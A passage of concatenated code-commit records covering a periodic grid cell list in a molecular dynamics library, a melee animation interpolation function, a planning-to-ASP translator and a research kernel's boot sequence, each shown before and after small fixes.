for(int y = 0; y < dim_y_; ++y)
for(int z = 0; z < dim_z_; ++z)
{
auto& cell = this->cell_list_[calc_index(x, y, z)];
const std::size_t x_prev = (x == 0) ? dim_x_-1 : x-1;
const std::size_t x_next = (x == dim_x_-1) ? 0 : x+1;
const std::size_t y_prev = (y == 0) ? dim_y_-1 : y-1;
const std::size_t y_next = (y == dim_y_-1) ? 0 : y+1;
const std::size_t z_prev = (z == 0) ? dim_z_-1 : z-1;
const std::size_t z_next = (z == dim_z_-1) ? 0 : z+1;
cell.second[ 0] = calc_index(x_prev, y_prev, z_prev);
cell.second[ 1] = calc_index(x, y_prev, z_prev);
cell.second[ 2] = calc_index(x_next, y_prev, z_prev);
cell.second[ 3] = calc_index(x_prev, y, z_prev);
cell.second[ 4] = calc_index(x, y, z_prev);
cell.second[ 5] = calc_index(x_next, y, z_prev);
cell.second[ 6] = calc_index(x_prev, y_next, z_prev);
cell.second[ 7] = calc_index(x, y_next, z_prev);
cell.second[ 8] = calc_index(x_next, y_next, z_prev);
cell.second[ 9] = calc_index(x_prev, y_prev, z);
cell.second[10] = calc_index(x, y_prev, z);
cell.second[11] = calc_index(x_next, y_prev, z);
cell.second[12] = calc_index(x_prev, y, z);
cell.second[13] = calc_index(x, y, z);
cell.second[14] = calc_index(x_next, y, z);
cell.second[15] = calc_index(x_prev, y_next, z);
cell.second[16] = calc_index(x, y_next, z);
cell.second[17] = calc_index(x_next, y_next, z);
cell.second[18] = calc_index(x_prev, y_prev, z_next);
cell.second[19] = calc_index(x, y_prev, z_next);
cell.second[20] = calc_index(x_next, y_prev, z_next);
cell.second[21] = calc_index(x_prev, y, z_next);
cell.second[22] = calc_index(x, y, z_next);
cell.second[23] = calc_index(x_next, y, z_next);
cell.second[24] = calc_index(x_prev, y_next, z_next);
cell.second[25] = calc_index(x, y_next, z_next);
cell.second[26] = calc_index(x_next, y_next, z_next);
auto uniq = std::unique(cell.second.begin(), cell.second.end());
assert(uniq == cell.second.end());
for(auto i : cell.second)
{
assert(0 <= i && i <= cell_list_.size());
}
}
this->make(sys);
MJOLNIR_LOG_DEBUG("PeriodicGridCellList<traitsT>::initialize end");
return;
}
} // mjolnir
#endif /* MJOLNIR_PERIODIC_GRID_CELL_LIST */
<commit_msg>nit: add curly brace<commit_after>#ifndef MJOLNIR_PERIODIC_GRID_CELL_LIST
#define MJOLNIR_PERIODIC_GRID_CELL_LIST
#include <mjolnir/core/System.hpp>
#include <mjolnir/core/NeighborList.hpp>
#include <mjolnir/core/ExclusionList.hpp>
#include <mjolnir/util/range.hpp>
#include <mjolnir/util/logger.hpp>
#include <iostream>
#include <vector>
#include <cmath>
#include <cassert>
namespace mjolnir
{
// XXX: almost same as UnlimitedGridCellList.
// the difference between UnlimitedGridCellList is only the number of cells.
// PeriodicGridCellList can optimize the number of cells using boundary size.
template<typename traitsT>
class PeriodicGridCellList
{
public:
typedef traitsT traits_type;
typedef System<traits_type> system_type;
typedef typename traits_type::real_type real_type;
typedef typename traits_type::coordinate_type coordinate_type;
typedef ExclusionList exclusion_list_type;
typedef NeighborList neighbor_list_type;
typedef neighbor_list_type::range_type range_type;
constexpr static real_type mesh_epsilon = 1e-6;
typedef std::pair<std::size_t, std::size_t> particle_cell_idx_pair;
typedef std::vector<particle_cell_idx_pair> cell_index_container_type;
typedef std::array<std::size_t, 27> adjacent_cell_idx;
typedef std::pair<range<typename cell_index_container_type::const_iterator>,
adjacent_cell_idx> cell_type;
typedef std::vector<cell_type> cell_list_type;
public:
PeriodicGridCellList()
: margin_(1), current_margin_(-1), r_x_(-1), r_y_(-1), r_z_(-1)
{}
~PeriodicGridCellList() = default;
PeriodicGridCellList(PeriodicGridCellList const&) = default;
PeriodicGridCellList(PeriodicGridCellList &&) = default;
PeriodicGridCellList& operator=(PeriodicGridCellList const&) = default;
PeriodicGridCellList& operator=(PeriodicGridCellList &&) = default;
PeriodicGridCellList(const real_type margin)
: margin_(margin), current_margin_(-1), r_x_(-1), r_y_(-1), r_z_(-1)
{}
bool valid() const noexcept
{
return current_margin_ >= 0.0;
}
template<typename PotentialT>
void initialize(const system_type& sys, const PotentialT& pot);
template<typename PotentialT>
void reconstruct(const system_type& sys, const PotentialT& pot)
{
this->initialize(sys, pot); // do the same thing as `initialize`
return;
}
void make (const system_type& sys);
void update(const system_type& sys);
real_type cutoff() const {return this->cutoff_;}
real_type margin() const {return this->margin_;}
range_type partners(std::size_t i) const noexcept {return neighbors_[i];}
private:
std::size_t calc_index(const coordinate_type& pos) const noexcept
{
return calc_index(
static_cast<std::size_t>(std::floor((pos[0]-lower_bound_[0])*r_x_)),
static_cast<std::size_t>(std::floor((pos[1]-lower_bound_[1])*r_y_)),
static_cast<std::size_t>(std::floor((pos[2]-lower_bound_[2])*r_z_)));
}
std::size_t calc_index(const std::size_t i, const std::size_t j,
const std::size_t k) const noexcept
{
return i + this->dim_x_ * j + this->dim_x_ * this->dim_y_ * k;
}
void set_cutoff(const real_type c) noexcept
{
this->cutoff_ = c;
this->r_x_ = 1 / (this->cutoff_ * (1 + this->margin_) + mesh_epsilon);
this->r_y_ = 1 / (this->cutoff_ * (1 + this->margin_) + mesh_epsilon);
this->r_z_ = 1 / (this->cutoff_ * (1 + this->margin_) + mesh_epsilon);
return;
}
void set_margin(const real_type m) noexcept
{
this->margin_ = m;
this->r_x_ = 1.0 / (this->cutoff_ * (1.0 + this->margin_) + mesh_epsilon);
this->r_y_ = 1.0 / (this->cutoff_ * (1.0 + this->margin_) + mesh_epsilon);
this->r_z_ = 1.0 / (this->cutoff_ * (1.0 + this->margin_) + mesh_epsilon);
return;
}
private:
real_type cutoff_;
real_type margin_;
real_type current_margin_;
real_type r_x_;
real_type r_y_;
real_type r_z_;
std::size_t dim_x_;
std::size_t dim_y_;
std::size_t dim_z_;
static Logger& logger_;
coordinate_type lower_bound_;
neighbor_list_type neighbors_;
exclusion_list_type exclusion_;
cell_list_type cell_list_;
cell_index_container_type index_by_cell_;
// index_by_cell_ has {particle idx, cell idx} and sorted by cell idx
// first term of cell list contains first and last idx of index_by_cell
};
template<typename traitsT>
Logger& PeriodicGridCellList<traitsT>::logger_ =
LoggerManager<char>::get_logger("PeriodicGridCellList");
template<typename traitsT>
void PeriodicGridCellList<traitsT>::make(const system_type& sys)
{
MJOLNIR_LOG_DEBUG("PeriodicGridCellList<traitsT>::make CALLED");
neighbors_.clear();
index_by_cell_.resize(sys.size());
for(std::size_t i=0; i<sys.size(); ++i)
{
index_by_cell_[i] = std::make_pair(i, calc_index(sys[i].position));
}
std::sort(this->index_by_cell_.begin(), this->index_by_cell_.end(),
[](const std::pair<std::size_t, std::size_t>& lhs,
const std::pair<std::size_t, std::size_t>& rhs) noexcept -> bool
{
return lhs.second < rhs.second;
});
{ // assign first and last iterator for each cells
auto iter = index_by_cell_.cbegin();
for(std::size_t i=0; i<cell_list_.size(); ++i)
{
if(iter == index_by_cell_.cend() || i != iter->second)
{
cell_list_[i].first = make_range(iter, iter);
continue;
}
const auto first = iter;
while(iter != index_by_cell_.cend() && i == iter->second)
{
++iter;
}
cell_list_[i].first = make_range(first, iter);
}
}
MJOLNIR_LOG_DEBUG("cell list is updated");
const real_type r_c = cutoff_ * (1. + margin_);
const real_type r_c2 = r_c * r_c;
for(std::size_t i=0; i<sys.size(); ++i)
{
const auto& ri = sys[i].position;
const auto& cell = cell_list_.at(calc_index(ri));
MJOLNIR_LOG_DEBUG("particle position", sys[i].position);
MJOLNIR_LOG_DEBUG("making verlet list for index", i);
MJOLNIR_LOG_DEBUG("except list for ", i, "-th value");
std::vector<std::size_t> partner;
for(std::size_t cidx : cell.second) // for all adjacent cells...
{
for(auto pici : cell_list_[cidx].first)
{
const auto j = pici.first;
MJOLNIR_LOG_DEBUG("looking particle", j);
if(j <= i || this->exclusion_.is_excluded(i, j))
{
continue;
}
if(length_sq(sys.adjust_direction(sys.at(j).position - ri)) < r_c2)
{
MJOLNIR_LOG_DEBUG("add index", j, "to verlet list", i);
partner.push_back(j);
}
}
}
// make the result consistent with NaivePairCalculation...
std::sort(partner.begin(), partner.end());
this->neighbors_.add_list_for(i, partner);
}
this->current_margin_ = cutoff_ * margin_;
MJOLNIR_LOG_DEBUG("PeriodicGridCellList::make() RETURNED");
return ;
}
template<typename traitsT>
void PeriodicGridCellList<traitsT>::update(const system_type& sys)
{
// TODO consider boundary size
this->current_margin_ -= sys.largest_displacement() * 2.;
if(this->current_margin_ < 0.)
{
this->make(sys);
}
return ;
}
template<typename traitsT>
template<typename PotentialT>
void PeriodicGridCellList<traitsT>::initialize(
const system_type& sys, const PotentialT& pot)
{
MJOLNIR_LOG_DEBUG("PeriodicGridCellList<traitsT>::initialize CALLED");
this->set_cutoff(pot.max_cutoff_length());
this->exclusion_.make(sys, pot);
this->lower_bound_ = sys.boundary().lower_bound();
const auto system_size = sys.boundary().width();
this->dim_x_ = std::max<std::size_t>(3, std::floor(system_size[0] * r_x_));
this->dim_y_ = std::max<std::size_t>(3, std::floor(system_size[1] * r_y_));
this->dim_z_ = std::max<std::size_t>(3, std::floor(system_size[2] * r_z_));
if(dim_x_ == 3 || dim_y_ == 3 || dim_z_ == 3)
{
std::cerr << "WARNING: cell size might be too small: number of grids =("
<< dim_x_ << ", " << dim_y_ << ", " << dim_z_ << ")\n";
}
// it may expand cell a bit (to fit system range)
this->r_x_ = 1.0 / (system_size[0] / this->dim_x_);
this->r_y_ = 1.0 / (system_size[1] / this->dim_y_);
this->r_z_ = 1.0 / (system_size[2] / this->dim_z_);
this->cell_list_.resize(dim_x_ * dim_y_ * dim_z_);
for(int x = 0; x < dim_x_; ++x)
{
for(int y = 0; y < dim_y_; ++y)
{
for(int z = 0; z < dim_z_; ++z)
{
auto& cell = this->cell_list_[calc_index(x, y, z)];
const std::size_t x_prev = (x == 0) ? dim_x_-1 : x-1;
const std::size_t x_next = (x == dim_x_-1) ? 0 : x+1;
const std::size_t y_prev = (y == 0) ? dim_y_-1 : y-1;
const std::size_t y_next = (y == dim_y_-1) ? 0 : y+1;
const std::size_t z_prev = (z == 0) ? dim_z_-1 : z-1;
const std::size_t z_next = (z == dim_z_-1) ? 0 : z+1;
cell.second[ 0] = calc_index(x_prev, y_prev, z_prev);
cell.second[ 1] = calc_index(x, y_prev, z_prev);
cell.second[ 2] = calc_index(x_next, y_prev, z_prev);
cell.second[ 3] = calc_index(x_prev, y, z_prev);
cell.second[ 4] = calc_index(x, y, z_prev);
cell.second[ 5] = calc_index(x_next, y, z_prev);
cell.second[ 6] = calc_index(x_prev, y_next, z_prev);
cell.second[ 7] = calc_index(x, y_next, z_prev);
cell.second[ 8] = calc_index(x_next, y_next, z_prev);
cell.second[ 9] = calc_index(x_prev, y_prev, z);
cell.second[10] = calc_index(x, y_prev, z);
cell.second[11] = calc_index(x_next, y_prev, z);
cell.second[12] = calc_index(x_prev, y, z);
cell.second[13] = calc_index(x, y, z);
cell.second[14] = calc_index(x_next, y, z);
cell.second[15] = calc_index(x_prev, y_next, z);
cell.second[16] = calc_index(x, y_next, z);
cell.second[17] = calc_index(x_next, y_next, z);
cell.second[18] = calc_index(x_prev, y_prev, z_next);
cell.second[19] = calc_index(x, y_prev, z_next);
cell.second[20] = calc_index(x_next, y_prev, z_next);
cell.second[21] = calc_index(x_prev, y, z_next);
cell.second[22] = calc_index(x, y, z_next);
cell.second[23] = calc_index(x_next, y, z_next);
cell.second[24] = calc_index(x_prev, y_next, z_next);
cell.second[25] = calc_index(x, y_next, z_next);
cell.second[26] = calc_index(x_next, y_next, z_next);
auto uniq = std::unique(cell.second.begin(), cell.second.end());
assert(uniq == cell.second.end());
for(auto i : cell.second)
{
assert(0 <= i && i <= cell_list_.size());
}
}
}
}
this->make(sys);
MJOLNIR_LOG_DEBUG("PeriodicGridCellList<traitsT>::initialize end");
return;
}
} // mjolnir
#endif /* MJOLNIR_PERIODIC_GRID_CELL_LIST */
<|endoftext|>
|
<commit_before>#include "melee_animation.h"
components::transform melee_animation::calculate_intermediate_transform(double factor) const {
components::transform result = offset_pattern[offset_pattern.size() - 1];
double distance = 0;
for (int i = 1; i < offset_pattern.size(); ++i)
distance += vec2(offset_pattern[i].pos - offset_pattern[i - 1].pos).length();
double position = distance * factor;
for (int i = 1;i < offset_pattern.size();++i) {
if (position <= vec2(offset_pattern[i].pos - offset_pattern[i - 1].pos).length()) {
double alpha = position / vec2(offset_pattern[i].pos - offset_pattern[i - 1].pos).length();
result = augs::interp(offset_pattern[i], offset_pattern[i - 1], alpha);
return result;
}
else {
position -= vec2(offset_pattern[i].pos - offset_pattern[i - 1].pos).length();
}
}
return result;
}<commit_msg>warnfixes<commit_after>#include "melee_animation.h"
components::transform melee_animation::calculate_intermediate_transform(double factor) const {
components::transform result = offset_pattern[offset_pattern.size() - 1];
double distance = 0;
for (size_t i = 1; i < offset_pattern.size(); ++i)
distance += vec2(offset_pattern[i].pos - offset_pattern[i - 1].pos).length();
double position = distance * factor;
for (size_t i = 1;i < offset_pattern.size();++i) {
if (position <= vec2(offset_pattern[i].pos - offset_pattern[i - 1].pos).length()) {
double alpha = position / vec2(offset_pattern[i].pos - offset_pattern[i - 1].pos).length();
result = augs::interp(offset_pattern[i], offset_pattern[i - 1], alpha);
return result;
}
else {
position -= vec2(offset_pattern[i].pos - offset_pattern[i - 1].pos).length();
}
}
return result;
}<|endoftext|>
|
<commit_before>#include <plasp/sas/TranslatorASP.h>
#include <plasp/sas/TranslatorException.h>
namespace plasp
{
namespace sas
{
////////////////////////////////////////////////////////////////////////////////////////////////////
//
// TranslatorASP
//
////////////////////////////////////////////////////////////////////////////////////////////////////
TranslatorASP::TranslatorASP(const Description &description)
: m_description(description)
{
}
////////////////////////////////////////////////////////////////////////////////////////////////////
void TranslatorASP::checkSupport() const
{
if (m_description.usesActionCosts())
throw TranslatorException("Action costs are currently unsupported");
const auto &variables = m_description.variables();
std::for_each(variables.cbegin(), variables.cend(),
[&](const auto &variable)
{
if (variable.axiomLayer() != -1)
throw TranslatorException("Axiom layers are currently unsupported");
});
const auto &operators = m_description.operators();
std::for_each(operators.cbegin(), operators.cend(),
[&](const auto &operator_)
{
const auto &effects = operator_.effects();
std::for_each(effects.cbegin(), effects.cend(),
[&](const auto &effect)
{
if (!effect.conditions().empty())
throw TranslatorException("Conditional effects are currently unsupported");
});
if (operator_.costs() != 1)
throw TranslatorException("Action costs are currently unsupported");
});
if (!m_description.axiomRules().empty())
throw TranslatorException("Axiom rules are currently unsupported");
}
////////////////////////////////////////////////////////////////////////////////////////////////////
void TranslatorASP::translate(std::ostream &ostream) const
{
checkSupport();
std::vector<const std::string *> fluents;
const auto &variables = m_description.variables();
std::for_each(variables.cbegin(), variables.cend(),
[&](const auto &variable)
{
const auto &values = variable.values();
std::for_each(values.cbegin(), values.cend(),
[&](const auto &value)
{
const auto match = std::find_if(fluents.cbegin(), fluents.cend(),
[&](const auto &fluent)
{
return value.name() == *fluent;
});
// Don’t add fluents if their negated form has already been added
if (match != fluents.cend())
return;
fluents.push_back(&value.name());
});
});
ostream << "% fluents" << std::endl;
std::for_each(fluents.cbegin(), fluents.cend(),
[&](const auto *fluent)
{
// TODO: Handle 0-ary predicates
ostream << "fluent(" << *fluent << ")." << std::endl;
});
ostream << std::endl;
ostream << "% initial state" << std::endl;
const auto &initialStateFacts = m_description.initialState().facts();
std::for_each(initialStateFacts.cbegin(), initialStateFacts.cend(),
[&](const auto &fact)
{
ostream << "init(";
fact.value().printAsASP(ostream);
ostream << ")." << std::endl;
});
ostream << std::endl;
ostream << "% goal" << std::endl;
const auto &goalFacts = m_description.goal().facts();
std::for_each(goalFacts.cbegin(), goalFacts.cend(),
[&](const auto &fact)
{
ostream << "goal(";
fact.value().printAsASP(ostream);
ostream << ")." << std::endl;
});
ostream << std::endl;
ostream << "% actions" << std::endl;
const auto &operators = m_description.operators();
std::for_each(operators.cbegin(), operators.cend(),
[&](const auto &operator_)
{
ostream << "action(";
operator_.predicate().printAsASP(ostream);
ostream << ")." << std::endl;
const auto &preconditions = operator_.preconditions();
std::for_each(preconditions.cbegin(), preconditions.cend(),
[&](const auto &precondition)
{
ostream << "precondition(";
operator_.predicate().printAsASP(ostream);
ostream << ", " << precondition.value().name()
<< ", " << (precondition.value().sign() == Value::Sign::Positive ? "true" : "false")
<< ")." << std::endl;
});
const auto &effects = operator_.effects();
std::for_each(effects.cbegin(), effects.cend(),
[&](const auto &effect)
{
ostream << "postcondition(";
operator_.predicate().printAsASP(ostream);
ostream << ", " << effect.postcondition().value().name()
<< ", " << (effect.postcondition().value().sign() == Value::Sign::Positive ? "true" : "false")
<< ")." << std::endl;
});
});
ostream << std::endl;
ostream << "% mutex groups" << std::endl;
const auto &mutexGroups = m_description.mutexGroups();
std::for_each(mutexGroups.cbegin(), mutexGroups.cend(),
[&](const auto &mutexGroup)
{
ostream << ":- time(T)";
std::for_each(mutexGroup.facts().cbegin(), mutexGroup.facts().cend(),
[&](const auto &fact)
{
ostream << ", holds(";
fact.value().printAsASP(ostream);
ostream << ", T)";
});
ostream << "." << std::endl;
});
}
////////////////////////////////////////////////////////////////////////////////////////////////////
}
}
<commit_msg>Removed done to-do.<commit_after>#include <plasp/sas/TranslatorASP.h>
#include <plasp/sas/TranslatorException.h>
namespace plasp
{
namespace sas
{
////////////////////////////////////////////////////////////////////////////////////////////////////
//
// TranslatorASP
//
////////////////////////////////////////////////////////////////////////////////////////////////////
TranslatorASP::TranslatorASP(const Description &description)
: m_description(description)
{
}
////////////////////////////////////////////////////////////////////////////////////////////////////
void TranslatorASP::checkSupport() const
{
if (m_description.usesActionCosts())
throw TranslatorException("Action costs are currently unsupported");
const auto &variables = m_description.variables();
std::for_each(variables.cbegin(), variables.cend(),
[&](const auto &variable)
{
if (variable.axiomLayer() != -1)
throw TranslatorException("Axiom layers are currently unsupported");
});
const auto &operators = m_description.operators();
std::for_each(operators.cbegin(), operators.cend(),
[&](const auto &operator_)
{
const auto &effects = operator_.effects();
std::for_each(effects.cbegin(), effects.cend(),
[&](const auto &effect)
{
if (!effect.conditions().empty())
throw TranslatorException("Conditional effects are currently unsupported");
});
if (operator_.costs() != 1)
throw TranslatorException("Action costs are currently unsupported");
});
if (!m_description.axiomRules().empty())
throw TranslatorException("Axiom rules are currently unsupported");
}
////////////////////////////////////////////////////////////////////////////////////////////////////
void TranslatorASP::translate(std::ostream &ostream) const
{
checkSupport();
std::vector<const std::string *> fluents;
const auto &variables = m_description.variables();
std::for_each(variables.cbegin(), variables.cend(),
[&](const auto &variable)
{
const auto &values = variable.values();
std::for_each(values.cbegin(), values.cend(),
[&](const auto &value)
{
const auto match = std::find_if(fluents.cbegin(), fluents.cend(),
[&](const auto &fluent)
{
return value.name() == *fluent;
});
// Don’t add fluents if their negated form has already been added
if (match != fluents.cend())
return;
fluents.push_back(&value.name());
});
});
ostream << "% fluents" << std::endl;
std::for_each(fluents.cbegin(), fluents.cend(),
[&](const auto *fluent)
{
ostream << "fluent(" << *fluent << ")." << std::endl;
});
ostream << std::endl;
ostream << "% initial state" << std::endl;
const auto &initialStateFacts = m_description.initialState().facts();
std::for_each(initialStateFacts.cbegin(), initialStateFacts.cend(),
[&](const auto &fact)
{
ostream << "init(";
fact.value().printAsASP(ostream);
ostream << ")." << std::endl;
});
ostream << std::endl;
ostream << "% goal" << std::endl;
const auto &goalFacts = m_description.goal().facts();
std::for_each(goalFacts.cbegin(), goalFacts.cend(),
[&](const auto &fact)
{
ostream << "goal(";
fact.value().printAsASP(ostream);
ostream << ")." << std::endl;
});
ostream << std::endl;
ostream << "% actions" << std::endl;
const auto &operators = m_description.operators();
std::for_each(operators.cbegin(), operators.cend(),
[&](const auto &operator_)
{
ostream << "action(";
operator_.predicate().printAsASP(ostream);
ostream << ")." << std::endl;
const auto &preconditions = operator_.preconditions();
std::for_each(preconditions.cbegin(), preconditions.cend(),
[&](const auto &precondition)
{
ostream << "precondition(";
operator_.predicate().printAsASP(ostream);
ostream << ", " << precondition.value().name()
<< ", " << (precondition.value().sign() == Value::Sign::Positive ? "true" : "false")
<< ")." << std::endl;
});
const auto &effects = operator_.effects();
std::for_each(effects.cbegin(), effects.cend(),
[&](const auto &effect)
{
ostream << "postcondition(";
operator_.predicate().printAsASP(ostream);
ostream << ", " << effect.postcondition().value().name()
<< ", " << (effect.postcondition().value().sign() == Value::Sign::Positive ? "true" : "false")
<< ")." << std::endl;
});
});
ostream << std::endl;
ostream << "% mutex groups" << std::endl;
const auto &mutexGroups = m_description.mutexGroups();
std::for_each(mutexGroups.cbegin(), mutexGroups.cend(),
[&](const auto &mutexGroup)
{
ostream << ":- time(T)";
std::for_each(mutexGroup.facts().cbegin(), mutexGroup.facts().cend(),
[&](const auto &fact)
{
ostream << ", holds(";
fact.value().printAsASP(ostream);
ostream << ", T)";
});
ostream << "." << std::endl;
});
}
////////////////////////////////////////////////////////////////////////////////////////////////////
}
}
<|endoftext|>
|
<commit_before>#include "types.h"
#include "multiboot.hh"
#include "kernel.hh"
#include "spinlock.hh"
#include "kalloc.hh"
#include "cpu.hh"
#include "amd64.h"
#include "hwvm.hh"
#include "condvar.hh"
#include "proc.hh"
#include "apic.hh"
#include "codex.hh"
#include "mfs.hh"
void initpic(void);
void initextpic(void);
void inituart(void);
void inituartcons(void);
void initcga(void);
void initconsole(void);
void initpg(void);
void cleanuppg(void);
void inittls(struct cpu *);
void initnmi(void);
void initdblflt(void);
void initcodex(void);
void inittrap(void);
void initfpu(void);
void initmsr(void);
void initseg(struct cpu *);
void initphysmem(paddr mbaddr);
void initpercpu(void);
void initpageinfo(void);
void initkalloc(void);
void initz(void);
void initrcu(void);
void initproc(void);
void initinode(void);
void initdisk(void);
void inituser(void);
void initsamp(void);
void inite1000(void);
void initahci(void);
void initpci(void);
void initnet(void);
void initsched(void);
void initlockstat(void);
void initidle(void);
void initcpprt(void);
void initfutex(void);
void initcmdline(void);
void initrefcache(void);
void initacpitables(void);
void initnuma(void);
void initcpus(void);
void initlapic(void);
void initiommu(void);
void initacpi(void);
void initwd(void);
void initdev(void);
void inithpet(void);
void initrtc(void);
void initmfs(void);
void idleloop(void);
#define IO_RTC 0x70
static std::atomic<int> bstate;
static cpuid_t bcpuid;
void
mpboot(void)
{
initseg(&cpus[bcpuid]);
inittls(&cpus[bcpuid]); // Requires initseg
initpg();
// Call per-CPU static initializers. This is the per-CPU equivalent
// of the init_array calls in cmain.
extern void (*__percpuinit_array_start[])(size_t);
extern void (*__percpuinit_array_end[])(size_t);
for (size_t i = 0; i < __percpuinit_array_end - __percpuinit_array_start; i++)
(*__percpuinit_array_start[i])(bcpuid);
initlapic();
initfpu();
initmsr();
initsamp();
initidle();
initdblflt();
initnmi();
initwd(); // Requires initnmi
bstate.store(1);
idleloop();
}
static void
warmreset(u32 addr)
{
volatile u16 *wrv;
// "The BSP must initialize CMOS shutdown code to 0AH
// and the warm reset vector (DWORD based at 40:67) to point at
// the AP startup code prior to the [universal startup algorithm]."
outb(IO_RTC, 0xF); // offset 0xF is shutdown code
outb(IO_RTC+1, 0x0A);
wrv = (u16*)p2v(0x40<<4 | 0x67); // Warm reset vector
wrv[0] = 0;
wrv[1] = addr >> 4;
}
static void
rstrreset(void)
{
volatile u16 *wrv;
// Paranoid: set warm reset code and vector back to defaults
outb(IO_RTC, 0xF);
outb(IO_RTC+1, 0);
wrv = (u16*)p2v(0x40<<4 | 0x67);
wrv[0] = 0;
wrv[1] = 0;
}
static void
bootothers(void)
{
extern u8 _bootother_start[];
extern u64 _bootother_size;
extern void (*apstart)(void);
char *stack;
u8 *code;
// Write bootstrap code to unused memory at 0x7000.
// The linker has placed the image of bootother.S in
// _binary_bootother_start.
code = (u8*) p2v(0x7000);
memmove(code, _bootother_start, _bootother_size);
for (int i = 0; i < ncpu; ++i) {
if(i == myid()) // We've started already.
continue;
struct cpu *c = &cpus[i];
warmreset(v2p(code));
// Tell bootother.S what stack to use and the address of apstart;
// it expects to find these two addresses stored just before
// its first instruction.
stack = (char*) kalloc("kstack", KSTACKSIZE);
*(u32*)(code-4) = (u32)v2p(&apstart);
*(u64*)(code-12) = (u64)stack + KSTACKSIZE;
// bootother.S sets this to 0x0a55face early on
*(u32*)(code-64) = 0;
bstate.store(0);
bcpuid = c->id;
lapic->start_ap(c, v2p(code));
#if CODEX
codex_magic_action_run_thread_create(c->id);
#endif
// Wait for cpu to finish mpmain()
while(bstate.load() == 0)
nop_pause();
rstrreset();
}
}
void
cmain(u64 mbmagic, u64 mbaddr)
{
extern u64 cpuhz;
// Make cpus[0] work. CPU 0's percpu data is pre-allocated directly
// in the image. *cpu and such won't work until we inittls.
percpu_offsets[0] = __percpu_start;
inituart();
initphysmem(mbaddr);
initpg(); // Requires initphysmem
inithz(); // CPU Hz, microdelay
initseg(&cpus[0]);
inittls(&cpus[0]); // Requires initseg
initacpitables(); // Requires initpg, inittls
initlapic(); // Requires initpg
initnuma(); // Requires initacpitables, initlapic
initpercpu(); // Requires initnuma
initcpus(); // Requires initnuma, initpercpu,
// suggests initacpitables
initpic(); // interrupt controller
initiommu(); // Requires initlapic
initextpic(); // Requires initpic
// Interrupt routing is now configured
inituartcons(); // Requires interrupt routing
initcga();
initpageinfo(); // Requires initnuma
// Some global constructors require mycpu()->id (via myid()) which
// we setup in inittls. Some require dynamic allocation of large
// memory regions (e.g., for hash tables), which requires
// initpageinfo and needs to happen *before* initkalloc. (Note that
// gcc 4.7 eliminated the .ctors section entirely, but gcc has
// supported .init_array for some time.) Note that this will
// implicitly initialize CPU 0's per-CPU objects as well.
extern void (*__init_array_start[])(int, char **, char **);
extern void (*__init_array_end[])(int, char **, char **);
for (size_t i = 0; i < __init_array_end - __init_array_start; i++)
(*__init_array_start[i])(0, nullptr, nullptr);
inittrap();
initfpu(); // Requires nothing
initmsr(); // Requires nothing
initcmdline();
initkalloc(); // Requires initpageinfo
initz();
initproc(); // process table
initsched(); // scheduler run queues
initidle();
initgc(); // gc epochs and threads
initrefcache(); // Requires initsched
initconsole();
initfutex();
initsamp();
initlockstat();
initacpi(); // Requires initacpitables, initkalloc?
inite1000(); // Before initpci
initahci();
initpci(); // Suggests initacpi
initnet();
inithpet(); // Requires initacpitables
initrtc(); // Requires inithpet
initdev(); // Misc /dev nodes
initdisk(); // disk
initinode(); // inode cache
initmfs();
if (VERBOSE)
cprintf("ncpu %d %lu MHz\n", ncpu, cpuhz / 1000000);
inituser(); // first user process
initdblflt(); // Requires inittrap
initnmi();
// XXX hack until mnodes can load from disk
extern void mfsload();
mfsload();
#if CODEX
initcodex();
#endif
bootothers(); // start other processors
cleanuppg(); // Requires bootothers
initcpprt();
initwd(); // Requires initnmi
idleloop();
panic("Unreachable");
}
void
halt(void)
{
acpi_power_off();
for (;;);
}
<commit_msg>hpet: Fix boot-failure with newer versions of QEMU<commit_after>#include "types.h"
#include "multiboot.hh"
#include "kernel.hh"
#include "spinlock.hh"
#include "kalloc.hh"
#include "cpu.hh"
#include "amd64.h"
#include "hwvm.hh"
#include "condvar.hh"
#include "proc.hh"
#include "apic.hh"
#include "codex.hh"
#include "mfs.hh"
void initpic(void);
void initextpic(void);
void inituart(void);
void inituartcons(void);
void initcga(void);
void initconsole(void);
void initpg(void);
void cleanuppg(void);
void inittls(struct cpu *);
void initnmi(void);
void initdblflt(void);
void initcodex(void);
void inittrap(void);
void initfpu(void);
void initmsr(void);
void initseg(struct cpu *);
void initphysmem(paddr mbaddr);
void initpercpu(void);
void initpageinfo(void);
void initkalloc(void);
void initz(void);
void initrcu(void);
void initproc(void);
void initinode(void);
void initdisk(void);
void inituser(void);
void initsamp(void);
void inite1000(void);
void initahci(void);
void initpci(void);
void initnet(void);
void initsched(void);
void initlockstat(void);
void initidle(void);
void initcpprt(void);
void initfutex(void);
void initcmdline(void);
void initrefcache(void);
void initacpitables(void);
void initnuma(void);
void initcpus(void);
void initlapic(void);
void initiommu(void);
void initacpi(void);
void initwd(void);
void initdev(void);
void inithpet(void);
void initrtc(void);
void initmfs(void);
void idleloop(void);
#define IO_RTC 0x70
static std::atomic<int> bstate;
static cpuid_t bcpuid;
void
mpboot(void)
{
initseg(&cpus[bcpuid]);
inittls(&cpus[bcpuid]); // Requires initseg
initpg();
// Call per-CPU static initializers. This is the per-CPU equivalent
// of the init_array calls in cmain.
extern void (*__percpuinit_array_start[])(size_t);
extern void (*__percpuinit_array_end[])(size_t);
for (size_t i = 0; i < __percpuinit_array_end - __percpuinit_array_start; i++)
(*__percpuinit_array_start[i])(bcpuid);
initlapic();
initfpu();
initmsr();
initsamp();
initidle();
initdblflt();
initnmi();
initwd(); // Requires initnmi
bstate.store(1);
idleloop();
}
static void
warmreset(u32 addr)
{
volatile u16 *wrv;
// "The BSP must initialize CMOS shutdown code to 0AH
// and the warm reset vector (DWORD based at 40:67) to point at
// the AP startup code prior to the [universal startup algorithm]."
outb(IO_RTC, 0xF); // offset 0xF is shutdown code
outb(IO_RTC+1, 0x0A);
wrv = (u16*)p2v(0x40<<4 | 0x67); // Warm reset vector
wrv[0] = 0;
wrv[1] = addr >> 4;
}
static void
rstrreset(void)
{
volatile u16 *wrv;
// Paranoid: set warm reset code and vector back to defaults
outb(IO_RTC, 0xF);
outb(IO_RTC+1, 0);
wrv = (u16*)p2v(0x40<<4 | 0x67);
wrv[0] = 0;
wrv[1] = 0;
}
static void
bootothers(void)
{
extern u8 _bootother_start[];
extern u64 _bootother_size;
extern void (*apstart)(void);
char *stack;
u8 *code;
// Write bootstrap code to unused memory at 0x7000.
// The linker has placed the image of bootother.S in
// _binary_bootother_start.
code = (u8*) p2v(0x7000);
memmove(code, _bootother_start, _bootother_size);
for (int i = 0; i < ncpu; ++i) {
if(i == myid()) // We've started already.
continue;
